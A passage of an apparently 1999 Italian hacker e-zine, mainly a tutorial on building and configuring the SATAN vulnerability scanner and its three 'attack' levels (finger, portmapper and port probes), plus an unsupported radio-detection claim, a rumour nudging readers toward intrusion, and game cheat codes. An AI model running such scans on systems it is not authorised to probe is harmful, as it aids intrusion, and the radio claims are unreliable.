possibile tentare delle operazioni su tali macchine). Una volta superato il primo passo viene compilata una lista degli obiettivi attivi e viene passata ad un processo che eseguira' tutti i comandi relativi alla collezione dei dati e il principale loop di iterazione sugli host di fiducia. Ogni host e' esaminato per vedere se e' gia' stato individuato precedentemente se cio' non si verifica viene lanciata una serie di controlli ed esplorazioni anche contro di esso. Queste prove emettono un "record" di dati in cui e' stato registrato il nome dell'host, i tests eseguiti e ogni risultato ottenuto da tale indagine: successivamente questi dati sono salvati in un file di analisi. Tramite l'interfaccia HTML, utilizzata per prendere visione di questa vastita' di dati coerenti ai risultati ottenuti, l'utente puo' leggerli cercando di interpretarli e capirli. Installazione del Satan Questo applicativo si trova in rete ed ha una distribuzione shareware, quindi, una volta individuato un sito che abbia l'ultima versione del SATAN, si procede a scaricarlo. Una volta scaricato lo decompattiamo senza lasciarne una copia compressa: \uncompress satan-1.1.1.tar.Z \tar -xvf satan-1.1.1.tar \cd satan-1.1.1 -Si esegua lo script reconfig il quale, tra le altre cose, cerca Perl e i browser web nelle locazioni standard. -Si editi config /path.pl per accettarsi che la variabile di Perl $MOSAIC contenga il nome del comando per il browser preferito dall'utente. -Si esegua make senza argomenti per vedere il menu dei tipi di sistema, quindi lo si esegua nuovamente fornendo il nome del proprio tipo di sistema: \make Usage: make system-type. Know types are: aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5 Asysv4 \make linux Dopo aver configurato il tutto lanciamo il programma portandosi all'interno della home directory per eseguirlo, altrimenti si riceveranno uno o piu' messaggi di errore da Perl: # ./satan SATAN is starting up..... Adesso conviene leggere il file "README", in cui oltre ad essere descritti i passi gia' compiuti per scompattare, viene spiegato come installare il pacchetto applicativo SATAN. Il punto 4 di questo file suggerisce di lanciare il file "reconfig...." in modo che il programma si memorizzi vari parametri, relativi all'ubicazione degli applicativi di suo interesse, utili al lancio degli eseguibili richiesti per ogni fase della sua azione, sia di esplorazione che di attacco di un sito remoto: ad esempio Netscape ,Perl, ... In questa fase e' stato (INF pervenutami) riscontrato un problema non dipendente da questo applicativo ma dovuto ad una non perfetta installazione di Netscape: l'eseguibile di Netscape non si trovava nella sottodiractory "standard", dove l'utente dovrebbe mettere i programmi che aggiunge in un secondo tempo rispetto a quelli gia' offerti dal sistema operativo. Questo inconveniente viene segnalato nell'esecuzione del "reconfig", per rimediare abbiamo dovuto modificare manualmente il file "paths.pl" che si trova nella directory satan/satan-1.1.1/config/ e precisamente abbiamo sostituito la riga $MOSAIC="/usr/exp/bin/netscape"; con la riga $MOSAIC="/usr/local/netscape/netscape"; cosi` il SATAN puo` avviare il Netscape quando viene eseguito. Una volta decompresso il pacchetto applicativo e' necessario compilarlo per produrre il file eseguibile adatto alla propria macchina; noi abbiamo lavorato con una workstation SUN SPARK OS5.Il compito della compilazione e` presente il file "Makefile" che rende questa operazione automatica: in questo file sono contenute la righe di comando che si devono eseguire con tutti i parametri necessari per produrre il codice eseguibile. Digitando "make linux" si lancia il Makefile che compila il SATAN. Nonostante l'uso dei Makefile renda possibile la compilazionedei programmi anche a chi non e' esperto in programmazione puo` capitare che il comando "make" produca un messaggio di errore come e` avvenuto nel mio caso. In queste circostanze si deve modificare a mano il file "Makefile" per toglire l'impedimento che ha causato l'errore e questo richiede una conoscenza dei linguaggi di programmazione. Nel nostro caso specifico il Makefile aveva bisogno di un compilatore per linguaggio c chiamato "cc" che non riusciva a trovare in quanto non era presente sul nostro computer. Il compilatore che la nostra macchina usa si chiama "gcc" ed e` una versione piu` recente ma compatibile del "cc".Abbiamo cosi' aggiunto cc="gcc" nella riga dove c'e` l'istruzione che richiama il compilatore c. File di configurazione del Satan Il file "config/satan.cf" e' molto importante. Qualunque azione del Satan e' controllata attraverso questo file: esplorazione di host e reti, livello di incursione, come la lontana investigazione si propaghera' dall'host originale, quali tests saranno eseguiti, etc. Questo file non e' altro che un codice scritto in linguaggio PERL il quale viene mandato in esecuzione nella fase di inizializzazione del programma; -Configurazione Livello di Attacco. #Default attack level (0=light, 1=normal, 2=heavy) $attack_level = 0; questo seleziona il livello di attacco, il quale comunica al Satan il tipo di incursione (si vedra' successivamente) da applicare contro il "target host". Livelli di Atacco del SATAN: Consideriamo un attacco a livello di target. Durante l'attacco bisogna valutare l'impatto potenziale sul sistema locale su cui si trova SATAN, i sistemi target e tutte le reti intermedie, in modo da avere una soluzione globale di quello che succede con tutti i 3 livelli di attacco. 1)In un attacco light, SATAN richiede al dns di cercare di determinare l'hardware del target e la configurazione del sistema operativo, il sistema per lo scambio della mail e cosi via. Quindi contatta il portmapper RPC del target, se ce ne e' uno attivo, per scoprire quali server applicativi basati su RPC stanno girando sulla macchina. 2)In un attacco normale include le ricerche svolte con l'attacco light, oltre ad una interrogazione finger per determinare i nomi di account degli utenti e i nomi degli host di sistemi remoti che hanno accesso al target. Inoltre vengono esaminate un certo numero di porte di servizio standard (FTP, Telnet, SMPT, NNPT, UUCP, e alcune altre) per scoprire quali server di rete sono disponibili. 3)Un attacco completo include le procedure dell'attacco normale, oltre ad un esame ancora piu' accurato delle porte TCP e UDP che possono essere collegate a server di qualunque tipo. Vengono esaminate in particolare le porte TCP 1-9999 e UDP 1-2050 e 32767-33500. Con questo esame SATAN e' in grado di scoprire molte cose interessanti, quali un daemon telnet su una porta non standard che puo' costituire una potenziale porta di servizio al sistema. Tutti e tre i metodi di attacco includono un esame delle condizioni (conditional probe). Questo viene eseguito solo se dalle prove eseguite emergono degli atti che lo fanno ritenere opportuno. Se per esempio viene scoperto un server NFS durante un attacco light, viene eseguito il comando showmount sul target per ottenere il suo elenco di export. Naturalmente non ha senso eseguire questo controllo se non e' presente il server NFS. !!!!..FINE..!!!! VI RICORDO CHE MOLTE DELLE INFORMAZIONI CHE AVETE APPENA LETTO SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE FAQ MA ANCHE BASATE SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI STATE RIELABORATE PER RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU' INTERESSANTI. L'AUTORE (Anti-Social :9 ) DECILNA OGNI RESPONSABILITA' SU TUTTO..!!!! TUTTO IL MATERIALE CONTENUTO IN QUESTO ARTICOLO E' ESCLUSIVAMENTE A FINI INFORMATIVI L'AUTORE DECLINA OGNI RESPONSABILITA' PER DANNI PROCURATI A COSE O PERSONE. LE INFORMAZIONI CONTENUTE IN QUESTO TESTO SONO ESCLUSIVAMENTE GRATUITE. FakeOff by Anti-Social ********************** * Radio che passione * ulntwh99@freemail.it ********************** Allora saro' sintetico perche' e' la seconda volta che scrivo questo art dato che mi si era fottuto il pc ... Scrivo a tutti i radioamatori e non . Il radiogoniometro spero sappiate cosa e' ...NO ???? ...allora : Il radiogoniometro serve per FOTTERE tutti quelli che fottono le poste italiane non pagando la tassa sulle ricetrasmittenti . Questo apparecchio si basa sulle portanti (tutti sannop cosa sono io non ve lo spiego) . Infatti e' composto da 1a base contenente l'apparecchiatura e 1 antenna yagi (come quella della TV per intenderci) che capta da dove la portante e' + intensa e quindi da dove trasmettete . Ora tutti sanno che trasmettendo le onde radio, queste possono essere intercettate mentre ricevendole si e' al sicuro ...NO ! Purtroppo non e' + vera questa affermazione ! Infatti le antenne in piccola parte fungono da bridge riflettendo pochissimo, pochissimo , ma pur sempre 1 po' il segnale . Ecco le poste americane hanno introdotto una nuova apparecchiatura in grado di utilizzare questa proprieta' delle antenne radio ! Quest'apparecchiatura si chiama R179 (non chiedetemi cosa significa perche' non lo so ...) ed e' 1a specie di radiogoniometro solo infinitamente + sensibile in grado di ricevere i "bounce" delle antenne radio . Cmq questo controllo non durera' molto per leggi sulla privacy ecc si stanno sperimentando apposite antenne PIU' COSTOSE (ovviamente) che assorbono e non riflettono. NB: assorbono e non decodificano ASSORBONO !!! della serie ...New Technology ... by ULNTWH9 *************************** * Milano citta' di Fuoco * *************************** Grossi movimenti all'universita' di Milano !!!! Le news sono sconcertanti e provengono da 1a fonte sicura ... Cosa e' successo ? Non e' molto chiaro ma si sa solo che si e' cercato di non fare scalpore infatti sui giornali non e' usito nulla ! All'universita' di Ingegneria di Milano tutto scorreva tranquillo in classe quando ad un certo punto arrivo' una persona distinta ...CAZZ era un console americano ! Cosa era successo ? Qualcuno era riuscito ad accedere a dati riservati in tanta malora e aveva lasciato la sua bava in giro ... Bhe se vi viene in mente di provare qualche cosa io vi sconsiglio di provarlo li' ...e' sotto strettissimo controllo della polizia internazionale che non sta aspettando altro che 1 capro espiatorio !!! Se poi siete bravi e la sfida (non da casa vostra spero) vi affascina fate pure ...io mi sono sentito in dovere di avvertire tutti !!! by ULNTWH99 ۰۰۰۰۰۰ ۰۰۰۰۰۰ ۰۰۰۰۰۰ ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ NOTA DI N0bodY88 = in questo numero apriamo questa nuova rubrica gestita dal grande p4P3r1_N0 (che tra le tante cose gestisce un sito web e una m.l. dedicata ai giochi :-DDDD) quindi fateci sapere se vi piace (cosi' si va avanti) o se non vi piace (tanto andiamo avanti lo stesso :PPPPP). Byez e buone partite ma....non barate troppo =) hihihi ͻ Ŀ TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B ٺ ͼ Salve a tutti ragazzi........ma ci pensate? Io, un newbie con fattore di conoscenza in fatto di hacking/phreacking/virus writing/cracking uguale a -3 (come del resto penso sia comune a tutti i newbies di questo piccolo e scemo mondo) sto scrivendo x voi tutto questo (non lo buttate, vi prego ;) ). Per questa grassa opportunit... devo ringraziare il mitico Nobody (RuleZ), e lo faccio con questo msg. "Se fossi femmina ti avrei baciato, ma visto che sei maschio ti voglio dire grazie a nome mio e a nome (penso) di tutti i newbies di questo mondo, per darci l'opportunit... di farci conoscere un p nell'ambiente". D'altronde sbaglio o Internet un posto in cui tutti ci possiamo far riconoscere da tutti con poco? Finita la parte a mio avviso pi- facile da scrivere per chi fa l'articolo e pi- pallosa per chi lo legge, passo a descrivervi -non vi preoccupate, solo in 2 parole, svelte svelte ;P - quello che far per questa e-zine. Sebbene conosca pochi hacker e/o newbies che si divertano con i giochini, vorrei essere utile sopratutto a loro, inserendo di n in n dei cheats. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ **** ___ ___ ___ _____ **** ** | | | | | | | ** * * | |___| |___ |___| | * * * * | | | | | | | * * * * |___ | | |___ | | | * * ** ** **** **** \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Che ne dite ? Come primo mio disegnino non sono poi andato cos male, eh? Ora esco, vado a fare un paio di partite a biliardo, poi continuer questo articolo...byeZ 4 now. Ore 19:32 Riekkomi a voi, popolo di Newbies! |_| Qui sotto aggiungero' un po' di trucchi di qualche gioco, dato che il Nob mi ha espressamente chiesto di non essere troppo prolisso. (d'altronde, come si dice, meglio poche cose ma buone ;) ) ___ **| |** **|___|** **| |** |ALIEN CARNAGE| Digitate questi cheats durante la fase di gioco: BADASS Avrete tutte le armi complete di munizioni FLRUP Avrete tutte le armi, compresa la pistola automatica ETHER Slow mode (al rallentatore) GTNX Digitatelo e potrete scegliere da quale livello inizierete a giocare! HOLLYWOOD God Mode SGTROCK Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!) |ACTUA SOCCER| Per far diventare la vostra squadra invincibile dovete far partire il gioco Con il comando SOCCER-01141475549. |AFTER THE WAR| Eccovi i cheat: 101069 (accedete al 2 livello) [ALT] + L + B (invincibili per il 1 livello) [ALT] + L + M (invincibili per il 2livello) |Questo e' il gioco per chi si sente un padreterno (pessimo battuta). Comunque, eccovi dei codicilli da inserire durante le sessioni di gioco: $@! (incassate 10 milioni di pennies, ma solo per 5 volte, o la Death Star vi distruggera' il paradiso) SAMNMAX (digitatelo 3 volte (in maiuscolo) per il "secret BAD THING") |AGE OF THE EMPIRES| Durante questo giochillo premete ENTER per attivare il cheat mode, poi digitate: NO FOG (rimuove la Fog of War) HARI KARI (suicidio) DIEDIEDIE (uccidi tutti i nemici) RESIGN (arrenditi) REVEAL MAP (rivela tutta la mappa) PEPPERONI PIZZA (1000 cibo) COINAGE (1000 oro) WOODSTOCK (1000 legno) QUARRY (1000 pietre) PHOTON MAN (avrai un "Nuke Trooper", ovvero un soldato armato di fucile al laser...fico!) GAIA (controlla gli animali) STEROIDS (produzione istantanea) HOME RUN (vinci il livello corrente) BIGDADDY (avrete una bella macchinina lancia razzi!!) |AMOK| Per scegliere il livello da cui iniziare a giocare basta digitare ZZZCYX al posto della password nella schermata delle opzioni. Punto e basta |ANGBAND| Per aprire il menu' dei cheats basta digitare [CTRL] + W e poi [SHIFT] + H mentre state giocando. |APACHE LONGBOW| Se inserite nel nome del pilota il codice MONTY BARRYMORE Diventerete invincibili e avrete infinite munizioni nel "campaign mode" |APACHE| Al posto del vostro nome digitate questi: FLAMDWYN AIOBHELL per le "ammo" infinite (le munizioni) LYN WINS per il god mode e le munizioni infinite |ASHES TO ASHES| Questi sono dei codicilli da digitare mentre giocate: ALLLEVELS Apparira' un menu' con tutti i livelli NOLEVELS Chiude il menu' di cui sopra FPS Secondo voi? E' per misurare il frame rate NEXT Di korsa al prossimo livello! NOAMMO Codice da suicida: spariscono di botto tutte le munizioni :(( GODMODE Questo non me la sento di spiegarvi |ASTROROCK 2000| Codicilli freschi freschi per voi da digitare mentre giocate: KICKASS Avrete tutte le armi FPS Mostra il frame rate TOOHOTFORME Passate al prossimo livello |AXELERATOR| Mentre giocate, tenendo premuto il tasto [CTRL] digitate questi cheats: MUCHMONEY riceverete 130.000 dollari (funzionasse nella vita reale :) ALLWEAPONS ricevete ogni arma HELPME E' come andare dal carrozziere gratuitamente :) AGGRESSOR Proiettili infiniti BOOSTER Super Turbo!!! ___ **| /** (so che come B fa un po' schifo, ma ho incominciato oggi a lavorare **| /_** co sti' cazzo de disegnini....;=))) **| /** **|_/ ** |BAP| Eccovi i codici dei livelli: ZEEHC NIHAO !WIU! HEHEH VWXYZ 22670 PCIBM (che ne dite, questo codice non vi ricorda qualcosa??? :) RUNIT SEEYO !BYE! E con l'ultimo codice vi saluto anche io! |BATTLE ARENA TOSHINDEN| nserite questi codici dal menu' principale: GIMMEJIM Codice Boss VIRTUAL1 visuale in prima persona FUNNYHEADS teste mooolto strane! LIFEISUNFAIR colpi segreti, ma non so se funzia |BATTLE BEAST| Per questo gioco vi fornisco subito i cheat: Digitate YOYOYO per entrare nel cheat mode, poi: AOFREOIO (apre tutte le porte bonus) OAOAEIOA (autofly nel laboratorio) EHRTRR (autofly nel bonus "enable") Prima di rigiocare, accertatevi di aver resettato tutti i codici. |BATTLE CHESS CAPTURE THE QUEEN| Cavolo, di questo gioco e' piu' lungo il titolo che il cheat, comunque gia' che ho scritto il titolo vi scrivo anche il cheat (in qualche modo la dovevo riempire questa pagina, no?) Mentre giocate digitate DISTRACTIONPIECE e la regina dell'avversario morira'...SIGH! :))) |BATTLE ISLE 2| Codicilli di livello: AMPORGE livello 1 JOGRWAI livello 2 GEGIDOS livello 3 WABODAE livello 4 BUFASWE livello 5 GEHAUWA livello 6 OLARIBU livello 7 FITORGE livello 8 DAFATWA livello 9 WABIKDO livello 10 |BATTLE ISLE 3| Eccovi dei codici di livello: 2975462 livello 1 6487674 livello 2 1564386 livello 3 9745642 livello 4 3756838 livello 5 2957843 livello 6 8844366 livello 7 2375411 livello 8 3854653 livello 9 5647332 livello 10 |BATTLE ISLE 93| Eccovi i (molti) codici per il passaggio dei livelli con il "single player": LUMIT LUNAR LUTOF SONIX SOSOO SONAF RAMPE RANGG PARTS FIEST FINXT EBENE EBSYL EBONY EBTAR KARST KANTO KAROT KAIST SYBIL SFINX SYNOM Anf, Anf! :) |BATTLE ISLE| Inserite questi cheats in un qualsiasi punto del gioco: FIRST GHOST GAMMA MARSS EAGLE METAN FOTON POLAR TIGER SNAKE DONNN VESTA OXXID DEMON GIANT EUROP 1564386 livello 3 9745642 livello 4 3756838 livello 5 2957843 livello 6 8844366 livello 7 2375411 livello 8 3854653 livello 9 5647332 livello 10 |BATTLEZONE| Per questa riedizione del vecchio e glorioso Battlezone eccovi dei codicilli: tenete premuti [SHIFT] + [CTRL] e digitate questi cheats: BZBODY Avrete scudi illimitati BZFREE Piloti infiniti BZRADAR Avrete scoperta l'intera mappa BZTNT Munizioni illimitate |BETRAYA IN ANTARA| Eccovi alcuni cheats: [SHIFT] + [CTRL] + Z per attivare il "cheat mode", poi: GOTTA HAVE MAGIC (impari tutti gli incantesimi) WHY AM I SO DULL (tutte le opzioni del carattere sono al massimo) SOM CALL ME TIM (distrugge tutti i nemici nel battle screen) ASK A GLASS OF WATER (teleport party all'inizio del capitolo) MAN DOES MY LEG HURT (heal the party) SUPERMARKET FOR THE RICH (accesso ai buoni item) |BIG RED RACING| Se vuoi usare qualsiasi veicolo su qualsiasi pista di questo divertente gioco fallo partire scrivendo (nella directory del gioco!): RACING -CAR CAR1 -CAR CAR2 Dove CAR1 e CAR2 sono il nome della macchina scelta. Tutte le macchine le trovate nella directory del gioco e hanno l'estensione .VHC |BLOOD BATH AT RED FALLS| Digitate questi cheats durante la fase di gioco: BADASS Avrete tutte le armi complete di munizioni FLRUP Avrete tutte le armi, compresa la pistola automatica ETHER Slow mode (al rallentatore) GTNX Digitatelo e potrete scegliere da quale livello iniziarete a giocare! HOLLYWOOD God Mode SGTROCK Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!) |BLOOD| Questi codici vanno inseriti nel gioco dopo aver premuto il tasto T. MPKFA (invincibilita') LARA CROFT (armi e munizioni infinite [alzi la mano chi non ha pensato a Tomb Raider]) KEYMASTER (tutte le chiavi) MONTANA (Tutti gli oggetti) EVA GALLI (no clipping mode) |BONKHEADS| Digitate questi codici (molto ma molto velocemente, senno' nisba) durante le vostre sessioni di gioco. 1AMTNT Riceverete altra dinaminte (TNT) 1AMFREETROLL Extra Life 1AMFAST Il vostro personaggio sara' piu' veloce 1AMSKIP Passate di corsa al livello successivo Al momento di scegliere invece se giocare in single mode o con un amico premete [SHIFT] + [CTRL] per poter giocare qualsiasi livello |BRIX 2| Eccovi i codici dei livelli KLMN (1-1-1) CJNN (1-1-2) KJNN (1-1-3) CLNN (1-1-4) IMMNG (2-1-1) IEKOG (2-1-2) IMKOG (2-1-3) IEMOG (2-1-4) KJNNOP (3-1-1) KJFLPP (3-1-2) KJNLPP (3-1-3) KJFNPP (3-1-4) KDMOOPQ (4-1-1) KDMGMQQ (4-1-2) CBFENQQ (4-2-2) CBFMNQQ (4-2-3) CBFEPQQ (4-2-4) CJLONQQR (5-3-1) CJLOFORR (5-3-2) CJLONORR (5-3-3) CJLOFQRR (5-3-4) CJDGFPVRS (5-4-1) |BRIX| Eccovi i codici per entrare in ogni livello (i numeri corrispondono al livello a cui si accede digitando le lettere): ALKL (1-1-1) ILKL (1-1-2) AJLL (1-1-3) KJKLE (2-1-1) KBMLE (2-1-2) KJMLE (2-1-3) KBKME (2-1-4) ILKLMN (3-1-1) ILCNMN (3-1-2) ILKMNM (3-1-3) KDENMF (3-2-2) KDMNMF (3-2-3) IBKEONO (4-1-1) IBKMONO (4-1-3) OBKEMOO (4-1-4) IJKLNNOP (5-1-1) IKJLFPOP (5-1-2) IBMDHPOP (5-2-2) IBMDPPOP (5-2-3) IBMDHNPP (5-2-4) IBEFGQOPQ (6-2-1) IBEFGIQPQ (6-2-2) |BUBBLE BOBBLE| Digitare SDABSDAB e poi premere: F3 (saltare al livello successivo) F4 (Extended pieno per il player one) F5 (vite infinite) F6 (alla fine del livello in corso saremo al 99) Se volete finirla di barare ri-digitate SDABSDAB Bene, ora ho inserito solo i cheats con la A e la B (per ragioni di spazio) ma vi prometto che (sempre che la cosa vi aggrada) di pubblicare le altre lettere nelle proxime edizioni di NEWBIES. Fatemi sapere qualsiasi cosa che riguardi il mondo dei cheats, se avete qualche prob. con i codici che ho pubblicato, se mi volete aiutare, se ne volete aggiungere altri, o anke per raccontarmi qualke kazzata.... MAILATEMI QUI --->p4p3ri_no@yahoo.com<---MAILATEMI QUI Bene, detto cio' non mi resta altro che dirvi........ ___ ___ ___ _ _ \_/ / | | \ / | | / / \ / \ |\ | |0 0| /_ |___ |___ \ / |___| /_ / 0 \ / 0 \ | \ | | 4 | / | | / | | / \ 0 / \ 0 / | \ | | | / |___ |___ / | | / \_/ \_/ | \| \ / | | Powered By --@ p4P3r1_N0 @-- ;) | | ͻ Ŀ SALUTI ٺ ͼ Ora che siamo arrivati alla fine di questa e-zine volevo solo salutare tutti quelli che conosco e tutti i vari gruppi quali gli Spippolatori, quelli di BFI, quelli di Spaghetti Phreakers, quelli di Ring0, quelli di Vana Imago, quelli di NetRunners, i DIB, i DDT, i TRH, gli ATOMIRC, tutti quelli che aiutano NewBies ad andare avanti con i loro articoli [ quindi un meritato GRAZIE a tutto il NewBies Staff :D ], tutti quelli che ci leggono e tutti quelli che ridono sui miei articoli :P eheheh Ps: dedico questa e-zine a K4m4l30nt3, colui con il quale ho iniziato quest'avventura e che ora non e' piu' tra noi.... dovunque tu sia questa e' per te fratello. _--={ (^__^) }=--_ Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma non potete fermarci tutti... dopo tutto, siamo tutti curiosi uguali e con la stessa voglia di smanettare e di capire. +++Illo N0bodY88+++ January 16, 1999 Ok ora voglio fare anche io un mega salutone a Dark Schnaider [ complimenti x il sito ] , Biavo , w00w00 e tutti gli altri amici mirc che frequentemente vengono sul nostro beneamato canale #hackernow [ grazie di tutto cuore siete mitici ] . Ah mi dimenticavo una cosa .... Fanculo ai Lamer siete esseri immondi .... Come sono buono eh.. Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma almeno aspettate che abbia fermato tutti i lamer di questo universo, dopo tutto non siamo tutti uguali ZeroCool PARZIALE ASSENZA DI N0bodY88 Causa problemi suoi N0bodY88 vi lascia (evviva facciamo festa!!!!). Ieri ho dovuto vendere il modem x vari motivi quindi le mie mail le andro' a leggere a casa di qualke amico :-((( A causa della vendita del modem non potro' + rispondere in giornata a chi mi scrive (come se prima l'avessi mai fatto...) e forse passera' anke una settimana; x quanto riguarda gli articoli mandatemeli sempre allo stesso indirizzo e se avete dei dubbi mandateli a me o a zero cosi' cercheremo qualcuno che faccia un articolo in proposito x risolvere (almeno parzialmente) i vs dubbi (se possiamo :-). Se vedete qualche N0bodY88 che gira su ircnet o su efnet o su parsec-net non sperateci...non sono io ma sara' qualke bastardo dentro che gira col mio nick! Per quanto riguarda i prossimi numeri (partendo dall'idea che tanto NewBies 4 uscira' dopo gli esami di maturita' xche' molti del ns Staff sono nei casini x la matura e altri hanno da fare esami o vogliono riposarsi un attimo) vedranno nelle vesti dei redattori l'immancabile ZeroCool, io [N0bodY88], e la new entry N05F3R4TU (che e' ns collaboratore da moooolto tempo ma causa casini con degli omini vestiti di blu col distintivo, ha dovuto cambiare nick). Quindi cercate di godervi lentamente questo numero di NewBies xche' passeranno minimo 2 mesi prima dell'uscita del numero 4 e speriamo di ribeccarci ancora in rete qualke volta... PS: se va tutto bene in luglio/agosto mi ricompro un modem quindi :-)))))))))) PSS: se tutto va ancora meglio x NewBies 4 aspettatevi un bel malloppone di mitici articoli dall'altrettanto mitico Nick1 e poi provate a dirci che non vi offriamo buoni articoli !!! Byez N0bodY88 il newbies _ _ ____ _ | \ | | _____ _| __ )(_) ___ ___ | \| |/ _ \ \ /\ / / _ \| |/ _ Y __| | |\ | __/\ V V /| |_) | | __|__ \ |_| \_|\___| \_/\_/ |____/|_|\___|___/ Webmaster by ---------> ZeroCool & T0rment0 & _p0nic0_ & HaRLoK & N0bodY88 Redattori ------------> N0bodY88 & ZeroCool E-zine by ------------> N0bodY88 & ZeroCool & NewBies Staff Ascii by -------------> N0bodY88 & |-|15cR4zYm1nD & S0l1t4r10~M4N & 1mGvD Loghi NewBies by -----> RigoR MorteM Articoli -------------> NewBies Staff & Friends ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰ (se pensate che DOVRESTE essere in questa lista o che NON DOVREBBE figurare il vs nome fatecelo sapere e vi adderemo o toglieremo subito) ZeroCool, N0bodY88, The oul Destroyer, _p0nic0_, +Malattia, [SkinneR], ]Akuma[, ipLey, 3uC@50L, 3nN4r0, Aladar, Alby, Alpha-666, AnArChY, Anti-Social, Ax1s, Avatar666, Barninga Z, Blum, Brigante, Caos83, Caratt, ChRoMe, Cobra, CrazyCrom, aBatha, Dante Alighieri, Darkman, DarkSide, Dark Schnaider, Devil, DeViLNeT, drwxr-xr-, ElectroRipper, Firebeam, Fitzban, Fusyllo, Frensis, Fritz, G4m3, Ghimlet, Grays, HaMelIn, HarLoK, Ja[3]Ck, Jena, Kalidor, KaOsS, Kill3xx, Killex, Linbus, Lopks, LordLion, Lord Destruction, L0Rd gUF, [mAx], Master, McFly, Meew, Misha, Nemesis, NeuRaL_NoiSE, Newbie 1.1, Nick1, Nietzsche, N05F3R4TU, P4P3r1_N0, Pinball, Quequero, RaG3, Rafcrash, Ramesse, Raul, RedXIII, RigoR MorteM, Ron|n, Rui Deti, Sciaman, Sephy, Skhammer, SoftWord, Sorrow The Prince, S0L1D, S0rD3/\/_82, S2, SpIRIToZ, SpYmAsTeR, Squarty, StuZzik0, Tetofuck, The Sciack, T0rment0, Ulntwh99, UnlT, VaFfa, Vecna, Velvet, Vulcan, Yago, Zelig1, Z3R0, Zinco, ZioFill, w00w00, Wurz. PS: a causa della mancanza del mio modem, non ho potuto chiedere ad alcuni se erano d'accordo al far parte del NB Staff quindi se non volete essere citati nella sopra riportata lista basta che me lo diciate e scusatemi fin d'ora x questa mia mancanza [ es: +Malattia ] PSS: speriamo che alla lista si aggiungano sempre + persone che si dedicano allo studio dei pc, delle reti e dei programmi cosi' da rendere questa e-zine ancora + interessante con l'apporto dei loro articoli :] N0bodY88 |-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|- Fine e-zine: Ebbene si siamo arrivati alla fine di questo terzo numero! Come al solito se avete critiche, commenti, migliorie, prese x il culo, speditele all'indirizzo kokok@tin.it o n0body88@freemail.it e saremo lieti di rispondere alle vs email o di mailbombarvo x le vostre offese hihihi...scherzo ovviamente ;) Ciauz e come diceva l'ultimo dei moicani...."Aspettatemiiiiiiiiiiiiiiiiiiii!" N0bodY88